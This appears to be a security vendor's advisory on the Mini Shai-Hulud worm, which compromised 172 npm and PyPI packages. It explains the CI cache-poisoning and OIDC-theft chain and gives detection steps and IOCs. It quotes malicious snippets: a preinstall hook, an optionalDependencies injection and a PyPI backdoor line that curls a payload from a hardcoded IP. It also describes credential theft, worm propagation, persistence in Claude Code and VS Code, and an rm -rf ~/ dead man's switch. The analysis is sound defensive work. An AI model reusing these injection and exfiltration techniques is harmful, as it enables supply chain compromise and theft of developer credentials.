Table of contents

Mini Shai-Hulud Is Back: 172 npm and PyPI Packages Compromised in Latest Wave

Mini Shai-Hulud Is Back: 172 npm and PyPI Packages Compromised in Latest Wave - Mini Shai Hulud is Back

The Mini Shai-Hulud supply chain campaign has resurfaced with its largest wave yet. Over a 48-hour window on May 11-12, 2026, attackers compromised 172 unique packages across 403 malicious versions on npm and PyPI,  including high-profile scopes like @tanstack, @uipath, @mistralai, and @opensearch-project.

What happened

This is a continuation of the original Shai-Hulud campaign that first targeted SAP CAP packages in late April 2026. The attack pattern remains consistent: compromised packages execute an NPM lifecycle hook that downloads a JavaScript credential stealer worm.

How TanStack was compromised

The attack began with a malicious pull request opened by GitHub user zblgg against the TanStack router repository. The PR, titled “WIP: simplify history build,” was opened as a draft on May 11 at 10:49 UTC and force-pushed multiple times to trigger workflow runs while keeping the visible diff empty.

The attacker exploited a chain of three vulnerabilities in TanStack’s CI/CD pipeline:

  1. Pwn Request via pull_request_target: The bundle-size.yml workflow used the pull_request_target trigger, which executes fork code within the base repository’s trusted context. Four Bundle Size workflow runs from the malicious branch fix/history-package completed successfully between 10:49 and 11:11 UTC.
  1. GitHub Actions cache poisoning: The fork-controlled code poisoned the pnpm store cache with a 1.1 GB entry keyed to match the legitimate release workflow’s lookup hash. As the TanStack postmortem explains, actions/cache@v5 uses a runner-internal token for cache saves,  not the workflow’s GITHUB_TOKEN,  so setting permissions: contents: read does not prevent cache mutation.
  2. OIDC token extraction from runner memory: When the legitimate release.yml workflow ran at ~19:20 UTC, it restored the poisoned cache. The injected code read the GitHub Actions runner’s process memory via /proc/<pid>/mem, scanning for {"value":"...","isSecret":true} patterns to extract the ambient OIDC token (id-token: write). This token was used to publish 84 malicious package versions directly to npm in two batches at 19:20 and 19:26 UTC.

The malicious versions were published under the legitimate GitHub Actions <npm-oidc-no-reply@github.com> publisher identity, making them indistinguishable from legitimate releases in npm metadata.

What’s new in this wave

The scope has expanded dramatically. Instead of targeting a single ecosystem, this wave hit packages across multiple organizations simultaneously:

  • @tanstack – 42 packages (router, start, devtools)
  • @uipath – 66 packages (agent SDKs, tooling, CLI)
  • @squawk – 22 packages (aviation data tools)
  • @tallyui – 10 packages (POS and commerce components)
  • @mistralai – 3 packages (AI SDK for npm and PyPI)
  • @opensearch-project, @draftlab, @mesadev, and others

The attack also compromised unscoped packages like cross-stitch, ts-dna, wot-api, and safe-action.

Two distinct attack payloads

npm payload: obfuscated credential stealer + worm

The npm packages contain two malicious files:

Injection method 1 – TanStack packages add a malicious optionalDependencies entry pointing to an orphan git commit:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49ee..."
}

That commit’s prepare script runs bun run tanstack_runner.js && exit 1. The exit 1 makes the optional dependency “fail” silently after the payload has already executed.

Injection method 2 – Mistral and propagated packages replace legitimate scripts with a preinstall hook:

"preinstall": "node setup.mjs"

The setup.mjs is a 204-line cleartext Bun downloader that fetches Bun v1.3.13 from hxxps://github[.]com/oven-sh/bun/releases/, then executes router_init.js — a ~2.3 MB payload obfuscated with obfuscator.io (11,516-entry RC4+base64 string table).

PyPI payload: cleartext backdoor

The PyPI mistralai@2.4.6 uses a completely different approach — a cleartext backdoor appended to __init__.py that runs on import:

_url = "https://83[.]142[.]209[.]194/transformers.pyz"
_sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)

This targets Linux only and downloads a second-stage payload using curl -k (skipping TLS verification) from a hardcoded IP address.

What it steals

The npm payload (verified via static decryption of 2,289 obfuscated strings) targets a wide range of credentials:

  • Cloud credentials: AWS access keys, session tokens, and IMDS metadata (hxxp://169[.]254[.]169[.]254/latest/api/token); GCP metadata; Azure credentials
  • Secret stores: HashiCorp Vault tokens (/.vault-token, hxxp://127[.]0[.]0[.]1:8200); Kubernetes service account tokens (/var/run/secrets/kubernetes.io/serviceaccount/)
  • Developer tokens: npm tokens (hxxps://registry[.]npmjs[.]org/-/npm/v1/tokens), GitHub tokens, SSH keys
  • SaaS credentials: Slack tokens, Stripe keys, Twilio keys
  • CI/CD secrets: Sigstore OIDC tokens, GitHub Actions OIDC tokens (via /proc/<pid>/mem scanning)
  • AI tool configs: Claude Code settings (.claude/settings.json), Kiro configurations

Self-propagation

Stolen npm tokens feed the worm’s self-propagation mechanism: it queries registry.npmjs.org to enumerate every package the victim can publish, injects malicious dependencies, bumps versions, and publishes compromised releases automatically — using claude@users.noreply.github.com as the fabricated git author.

Exfiltration via E2E encrypted network

Stolen data is exfiltrated through the Session/Oxen messenger’s E2E encrypted file upload network (hxxp://filev2[.]getsession[.]org/file/), routed via seed nodes (seed1.getsession[.]org, seed2.getsession[.]org, seed3.getsession[.]org). This is a full E2E encrypted dead-drop, there is no attacker-controlled C2 server to block.

Persistence and anti-forensics

The payload installs persistence hooks in developer tools:

  • Claude Code: ~/.claude/setup.mjs, ~/.claude/router_runtime.js
  • VS Code: ~/.vscode/setup.mjs, ~/.vscode/tasks.json

It also deploys a dead man’s switch: a gh-token-monitor service (systemd on Linux / LaunchAgent on macOS) that polls api.github.com/user with the stolen token every 60 seconds. If the token is revoked (HTTP 40x), it executes rm -rf ~/. The switch has a 24-hour TTL.

What to do

  1. Before revoking any tokens: Check for and disable the dead man’s switch first. Look for ~/.local/bin/gh-token-monitor.sh, ~/.config/gh-token-monitor/, and com.user.gh-token-monitor LaunchAgent. 
find ~ -path '*/.claude/setup.mjs' -o -path '*/.vscode/setup.mjs'
find ~/.config -name '*gh-token-monitor*'
find ~/.local/bin -name 'gh-token-monitor.sh'
find /tmp -name 'tmp.ts018051808.lock'
ps aux | grep -E 'tanstack_runner|router_runtime|gh-token-monitor|bun'

2. Rotate credentials — If you installed a compromised version, rotate all npm tokens, SSH keys, GitHub tokens, and cloud credentials.

3. Check for /tmp/transformers.pyz on Linux systems that imported mistralai– this indicates the PyPI payload executed.

4. Pin versions – Use lockfiles and pinned versions to prevent automatic resolution to malicious releases.

5. Monitor for unauthorized publishes – Check your npm packages for version bumps you didn’t make.

IOCs

TypeValue
Exfiltrationhxxp://filev2[.]getsession[.]org/file/
PyPI C2 IP83[.]142[.]209[.]194
PyPI payloadhxxps://83[.]142[.]209[.]194/transformers.pyz
Attacker accountszblgg (GitHub ID 127806521), voicproducoes (ID 269549300)
Dead man’s switch~/.local/bin/gh-token-monitor.sh, ~/.config/gh-token-monitor/
router_init.js (TanStack)ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
router_init.js (Mistral npm)2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96
setup.mjs (Mistral npm)2258284d65f63829bd67eaba01ef6f1ada2f593f9bbe41678b2df360bd90d3df
init.py (Mistral PyPI)2a314ea8be337e1ca9ec833ed13ed854d9fd38bce0a519cf288f3bec8d9e6f30

Mend coverage

Mend has issued three MSC advisories covering all 172 affected packages:

  • MSC-2026-5354 
  • MSC-2026-5355 
  • MSC-2026-5356 

References:

TanStack postmortem 

GitHub issue #7383.

https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem

Manage open source risk

Recent resources

Mini Shai-Hulud Is Back: 172 npm and PyPI Packages Compromised in Latest Wave - npm supply chain attack

PhantomRaven Wave 5: New Undocumented NPM Supply Chain Campaign Targets DeFi, Cloud, and AI Developers

33 malicious NPM packages target DeFi, cloud, and AI developer credentials.

Read more
Mini Shai-Hulud Is Back: 172 npm and PyPI Packages Compromised in Latest Wave - Blog Cover Linux Kernel LPE

CVE-2026-31431 (Copy Fail): Linux Kernel LPE

New Linux 'copy_fail' LPE gives root on all major distros. Mitigate before patching.

Read more
Mini Shai-Hulud Is Back: 172 npm and PyPI Packages Compromised in Latest Wave - Mini Shai Hulud

Shai-Hulud Strikes SAP: Supply Chain Worm Weaponized Claude Code to Compromise the CAP Framework

SAP CAP packages compromised via Claude Code in AI-assisted worm attack.

Read more